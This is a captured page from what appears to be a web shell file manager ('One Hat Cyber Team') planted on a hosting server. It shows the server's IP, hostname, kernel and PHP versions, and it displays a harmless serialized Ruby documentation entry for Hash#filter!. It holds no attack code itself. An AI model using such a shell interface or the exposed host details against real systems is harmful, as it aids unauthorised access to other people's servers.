⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Hash
/
View File Name :
filter%21-i.ri
U:RDoc::AnyMethod[iI"filter!:ETI"Hash#filter!;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"/Hash#filter! is an alias for Hash#select!.;To:RDoc::Markup::BlankLine o; ; [I"XReturns +self+, whose entries are those for which the block returns a truthy value:;To:RDoc::Markup::Verbatim; [I""h = {foo: 0, bar: 1, baz: 2} ;TI"@h.select! {|key, value| value < 2 } => {:foo=>0, :bar=>1} ;T:@format0o; ; [I".Returns +nil+ if no entries were removed.;T@o; ; [I"1Returns a new \Enumerator if no block given:;To;; [I""h = {foo: 0, bar: 1, baz: 2} ;TI"Le = h.select! # => #
0, :bar=>1, :baz=>2}:select!> ;TI">e.each { |key, value| value < 2 } # => {:foo=>0, :bar=>1};T; 0: @fileI"hash.c;T:0@omit_headings_from_table_of_contents_below000[ I"();T@!FI" Hash;TcRDoc::NormalClass0[@$FI"select!;T